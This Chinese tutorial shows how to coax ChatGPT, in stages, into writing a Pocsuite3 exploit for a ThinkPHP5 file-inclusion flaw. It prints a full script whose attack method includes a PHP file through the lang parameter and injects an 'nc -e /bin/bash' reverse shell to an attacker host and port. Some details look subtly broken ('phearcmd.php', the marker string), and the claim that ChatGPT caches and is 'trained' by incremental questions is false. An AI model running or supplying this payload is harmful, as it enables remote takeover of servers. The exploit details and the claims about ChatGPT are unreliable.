利用ChatGPT快速编写POC
字数 1611 2025-08-11 17:39:51
利用ChatGPT快速编写POC的教学文档
1. 前言
本教学文档旨在指导如何利用ChatGPT快速编写POC(Proof of Concept)代码,特别是针对Pocsuite3框架的漏洞验证脚本。通过本教程,您将学习到如何有效地与ChatGPT交互,逐步引导其生成符合需求的POC代码。
2. ChatGPT在POC编写中的优势
- 交互式学习:可以连续提问和修正
- 代码分析能力:能够理解和生成代码
- 逐步优化:通过多次交互提高结果准确性
- 知识储备:内置大量编程和安全相关知识
3. 使用ChatGPT编写POC的关键技巧
3.1 分段引导法
核心原则:不要一次性提供所有需求,而是分阶段引导ChatGPT生成代码
-
基础框架请求:
- 首先询问ChatGPT是否知道Pocsuite3
- 要求提供一个基础模板
-
漏洞描述添加:
- 在获得基础模板后,逐步添加漏洞细节
- 每次添加少量新信息,观察ChatGPT如何调整代码
-
功能完善:
- 逐步添加验证逻辑、攻击逻辑等
- 通过多次交互完善POC功能
3.2 避免歧义表述
- 使用明确的编程术语而非自然语言描述
- 对于关键参数,提供其确切来源(如配置文件、请求参数等)
- 避免模糊的表述如"相关参数",而应明确指出参数名
3.3 利用ChatGPT的记忆特性
- ChatGPT会缓存相似问题的回答
- 可以通过逐步添加信息来"训练"ChatGPT理解特定漏洞
- 前后问题保持一定连贯性,便于ChatGPT建立上下文
4. 实战案例:ThinkPHP5文件包含漏洞POC编写
4.1 第一阶段:获取基础模板
请求示例:
"你知道Pocsuite3吗?能否给我一个基础的POC模板?"
预期输出:
import pocsuite3
from pocsuite3.api import requests as req
from pocsuite3.api import register_poc
from pocsuite3.api import Output, POCBase
class TestPOC(POCBase):
vulID = '12345'
version = '1.0'
author = 'test'
vulDate = '2022-01-01'
createDate = '2022-01-01'
updateDate = '2022-01-01'
references = ['https://example.com/vul/12345']
name = 'Test POC'
appPowerLink = 'https://example.com'
appName = 'Test'
appVersion = '1.0'
vulType = 'Test Vul'
desc = '''Test POC Description'''
samples = ['']
def _attack(self):
# your code here
pass
def _verify(self):
# your code here
result = {}
return self.parse_output(result)
def parse_output(self, result):
output = Output(self)
# your code here
return output
def main():
register_poc(TestPOC)
if __name__ == '__main__':
main()
4.2 第二阶段:添加漏洞描述
请求示例:
"这是一个ThinkPHP5的文件包含漏洞,当config.php中的LANG_SWITCH_ON设置为true时,可以通过lang参数触发文件包含。请基于之前的模板改进。"
预期改进:
- 更新类名为
ThinkPHP5_File_Inclusion - 完善漏洞描述信息
- 更新相关应用信息
4.3 第三阶段:添加验证逻辑
请求示例:
"这个漏洞可以通过传递lang=../phearcmd.php来包含phearcmd.php文件,如果包含成功,响应中会包含'PhearCommand execution'字符串。请添加验证逻辑。"
预期改进:
def _verify(self):
result = {}
url = self.url + '?lang=../phearcmd.php'
r = req.get(url)
if 'PhearCommand execution' in r.text:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = url
return self.parse_output(result)
4.4 第四阶段:添加攻击逻辑
请求示例:
"这个漏洞还可以用于执行反向shell,当包含phearcmd.php后,可以通过phearcmd参数执行系统命令。请添加攻击逻辑,接受lhost和lport参数来建立反向shell。"
预期改进:
def _attack(self):
url = self.url + '?lang=../phearcmd.php'
r = req.get(url)
if 'PhearCommand execution' in r.text:
command = 'php -r "system(\'nc -e /bin/bash {0} {1}\');"'.format(
self.options.get('lhost'),
self.options.get('lport')
)
url = self.url + '?phearcmd=' + command
req.get(url)
5. 完整POC示例
import pocsuite3
from pocsuite3.api import requests as req
from pocsuite3.api import register_poc
from pocsuite3.api import Output, POCBase
class ThinkPHP5_File_Inclusion(POCBase):
vulID = '12345'
version = '1.0'
author = 'test'
vulDate = '2022-12-09'
createDate = '2022-12-09'
updateDate = '2022-12-09'
references = ['https://tttang.com/archive/1865/']
name = 'ThinkPHP5 File Inclusion Vulnerability'
appPowerLink = 'https://thinkphp.cn'
appName = 'ThinkPHP'
appVersion = '5.0'
vulType = 'File Inclusion'
desc = '''
This POC checks for a file inclusion vulnerability in ThinkPHP 5.0.
To exploit this vulnerability, the LANG_SWITCH_ON value in the config.php file must be set to true,
and a malicious lang parameter must be passed in the URL. This can allow an attacker to include the
phearcmd.php file and execute arbitrary commands, including a reverse shell.
'''
samples = ['']
def _attack(self):
url = self.url + '?lang=../phearcmd.php'
r = req.get(url)
if 'PhearCommand execution' in r.text:
command = 'php -r "system(\'nc -e /bin/bash {0} {1}\');"'.format(
self.options.get('lhost'),
self.options.get('lport')
)
url = self.url + '?phearcmd=' + command
req.get(url)
def _verify(self):
result = {}
url = self.url + '?lang=../phearcmd.php'
r = req.get(url)
if 'PhearCommand execution' in r.text:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = url
return self.parse_output(result)
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('The vulnerability could not be verified')
return output
def main():
register_poc(ThinkPHP5_File_Inclusion)
if __name__ == '__main__':
main()
6. 最佳实践建议
- 从简单开始:先获取基础框架,再逐步完善
- 明确技术细节:准确描述漏洞触发条件和参数
- 分步验证:每添加一个功能就测试一次
- 人工复核:ChatGPT生成的代码仍需人工检查
- 错误处理:手动添加适当的错误处理机制
- 性能考虑:优化请求次数和响应处理
7. 常见问题解决
-
ChatGPT不理解特定漏洞:
- 提供更多技术细节
- 分步骤解释漏洞原理
- 提供参考链接或CVE编号
-
生成的代码不完整:
- 明确指出缺少的部分
- 提供示例说明期望的行为
- 分步骤请求不同功能
-
代码逻辑错误:
- 指出具体错误位置
- 提供正确的逻辑描述
- 请求ChatGPT修正特定部分
8. 结论
通过本教程,您已经学会了如何有效地利用ChatGPT快速编写POC代码。关键点在于:
- 采用分阶段引导的方法
- 提供准确的技术细节
- 利用ChatGPT的记忆和上下文理解能力
- 保持人工复核和必要的修改
这种方法不仅适用于Pocsuite3框架,也可以应用于其他安全工具的脚本编写。通过实践,您可以不断提高与ChatGPT交互的效率,快速生成高质量的POC代码。